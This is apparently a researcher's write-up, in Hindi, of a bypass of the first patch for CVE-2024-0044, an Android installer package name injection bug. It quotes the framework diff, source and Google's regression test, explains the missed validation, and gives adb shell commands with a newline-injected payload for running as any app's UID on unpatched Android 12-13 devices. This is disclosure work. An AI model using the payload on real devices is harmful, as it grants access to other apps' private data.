
CVE-2024-0044 के प्रारंभिक पैच को बायपास करने के लिए प्रूफ-ऑफ-कॉन्सेप्ट और लेख, एक एंड्रॉइड फ्रेमवर्क कमजोरी जो ADB से मनमाने ऐप UID तक इंस्टॉलर पैकेज नाम इंजेक्शन के माध्यम से विशेषाधिकार वृद्धि सक्षम करती है।
CVE-2024-0044/A-307532206 एंड्रॉइड फ्रेमवर्क में एक उच्च गंभीरता वाली भेद्यता है जो adb एक्सेस वाले हमलावरों को किसी भी ऐप के UID के तहत मनमाना कोड चलाने की अनुमति देती है। यह मूल रूप से मेटा रेड टीम X के टॉम हेब द्वारा पाया गया था। आप इंटरनेट पर इस भेद्यता का शोषण करने वाले कई लेख पा सकते हैं, जैसे यह और यह। अधिक जानकारी के लिए, यह ब्लॉग देखें: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
इस भेद्यता का पैच मार्च 2024 एंड्रॉइड सुरक्षा बुलेटिन में शामिल है, लेकिन अब मैं एक ऐसा एक्सप्लॉइट लेकर आया हूं जो पैच को बायपास करता है। नया पैच अक्टूबर 2024 एंड्रॉइड सुरक्षा बुलेटिन में उसी CVE ID CVE-2024-0044 के तहत शामिल है। एंड्रॉइड 12-13 डिवाइस जिनकी सुरक्षा पैच स्तर 2024-10-01 से पहले है, इस समस्या के प्रति संवेदनशील हैं।
इस रिपॉजिटरी में एक न्यूनतम प्रतिलिपि योग्य PoC और एक लेखन है।
पैच ने PackageManagerService को पारित इंस्टॉलर पैकेज नाम के लिए एक मान्यता जोड़ी:
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
आप देख सकते हैं params.installerPackageName को null पर रीसेट कर दिया जाएगा यदि यह एक वैध एंड्रॉइड पैकेज नाम नहीं है। हालाँकि, अगली पंक्ति में, requestedInstallerPackageName installerPackageName हो सकता है जब params.installerPackageName null या अमान्य हो।
installerPackageName क्या है?
आइए createSessionInternal विधि पर एक नज़र डालें, जहां पैच जोड़ा गया था:
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
आप देख सकते हैं कि installerPackageName एक अलग तर्क है जो param से नहीं आता है। मूल पैच ने params.installerPackageName को मान्य किया, लेकिन installerPackageName को मान्य करना भूल गया।
आप केवल टॉम हेब के ब्लॉग से मूल एक्सप्लॉइट कोड का उपयोग करके इसे पुन: प्रस्तुत कर सकते हैं। इस रिपॉजिटरी में एक न्यूनतम प्रतिलिपि योग्य PoC भी शामिल है। यदि आप मेरे PoC का परीक्षण करना चाहते हैं, तो इसे बनाएं, उत्पन्न apk को /data/local/tmp/poc.apk पर पुश करें, फिर adb shell के साथ निम्नलिखित कोड चलाएं:
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
<victim uid> को पीड़ित ऐप के UID से बदलें।
यदि आप फिर से खेलना चाहते हैं, तो adb uninstall top.canyie.cve_2024_0044 चलाएं और उपरोक्त कोड को फिर से चलाएं।
समस्या स्पष्ट दिखती है, यह सबकी नज़र से कैसे बच गई?
खैर, Google ने एक परीक्षण जोड़ा था ताकि यह सुनिश्चित किया जा सके कि यह ठीक हो गया है:
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);
final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {
// Create session using 'SessionParams' instance, get 'appPackageName' and
// 'installerPackageName' corresponding to session and abandon session later
final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);
// Without fix, 'appPackageName' and 'installerPackageName' does not undergo
// internal validation and are set to 'vulnPackageName' which contain '\n'
if (vulnerableAppPackageName != null
&& vulnerableAppPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.appPackageName'");
}
if (vulnerableInstallerPackageName != null
&& vulnerableInstallerPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.installerPackageName'");
}
});
String errorMessage =
"Device is vulnerable to b/307532206 !!"
+ " packages.list newline injection allows"
+ " run-as as any app from ADB"
+ " Due to : Fix is not present for ";
assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
.that(vulnerableFields)
.isEmpty();
परीक्षण सार्वजनिक मानक PackageInstaller API का उपयोग करता है जो installerPackageName को अनुकूलित करने की अनुमति नहीं देता है। सार्वजनिक API में, installerPackageName हमेशा प्रदान किए गए Context के वास्तविक पैकेज नाम पर सेट होता है:
public int createSession(@NonNull SessionParams params) throws IOException {
try {
return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
mUserId);
} catch (RuntimeException e) {
ExceptionUtils.maybeUnwrapIOException(e);
throw e;
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
}
जब कॉल करने वाला तृतीय-पक्ष ऐप है, तो installerPackageName कॉल करने वाले से संबंधित होने की गारंटी है; जब कॉल करने वाला adb है, तो यह हमेशा null पर रीसेट हो जाएगा, इसलिए यह ठीक लगता है:
String requestedInstallerPackageName =
params.installerPackageName != null ? params.installerPackageName
: installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
// adb installs can override the installingPackageName, but not the
// initiatingPackageName
installerPackageName = null;
} else {
if (callingUid != Process.SYSTEM_UID) {
// The supplied installerPackageName must always belong to the calling app.
mAppOps.checkPackage(callingUid, installerPackageName);
}
// Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
// caller.
if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
!= PackageManager.PERMISSION_GRANTED) {
mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
}
}
}
हालाँकि, ऑपरेशन requestedInstallerPackageName को installerPackageName पर सेट करने के बाद होता है, इसलिए मूल मान बना रहता है।
लेकिन अगर वे टॉम हेब द्वारा प्रदान किए गए मूल PoC को चलाते हैं, न कि अपना स्वयं का लिखते हैं, तो वे समस्या को पकड़ सकते हैं क्योंकि pm कमांड अंतर्निहित createSession विधि को अनुकूलित installerPackageName के साथ कॉल करता है।
एक और सवाल, जब PoC सार्वजनिक रूप से सुलभ है तो समस्या किसी और के द्वारा क्यों नहीं पकड़ी गई?
खैर, इस भेद्यता का इंटरनेट पर कई लोगों द्वारा विश्लेषण, प्रतिलिपि और शोषण किया गया है, और जेडी डॉन सिक्योरिटी लैब के किडान हे (फ्लैंकर) द्वारा लिखित एक लेख है (यह CVE-2024-31317 के बारे में एक बहुत ही दिलचस्प लेख है) जो कहता है "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp" ("CVE-2024-0044 का तकनीकी समुदाय में व्यापक विश्लेषण और सार्वजनिक शोषण किया गया है क्योंकि यह सरल और प्रत्यक्ष है"), हालाँकि किसी ने भी इसे नोटिस नहीं किया जैसे कि हर कोई जादू के तहत था।
वास्तव में, किसी ने पैच किए गए बिल्ड पर एक्सप्लॉइट को सफलतापूर्वक पुन: प्रस्तुत किया है, लेकिन लेखक को ऐसा प्रतीत नहीं होता कि वह समझ गया कि क्या हुआ था। मैंने इसे कोड समीक्षा द्वारा पाया और 16 मई, 2024 को रिपोर्ट किया, मूल पैच जारी होने के 2 महीने बाद। अगर मुझसे पहले किसी ने पैच को ध्यान से देखने के लिए कुछ अतिरिक्त सेकंड लिए होते, या केवल पैच किए गए बिल्ड पर PoC चलाने की कोशिश की होती कि क्या समस्या वास्तव में ठीक हुई है, तो बग बाउंटी उनकी होती। यह एक चीनी गीत की तरह लगता है, "再多看一眼就会爆炸" ("एक और नज़र और यह फट जाएगा")।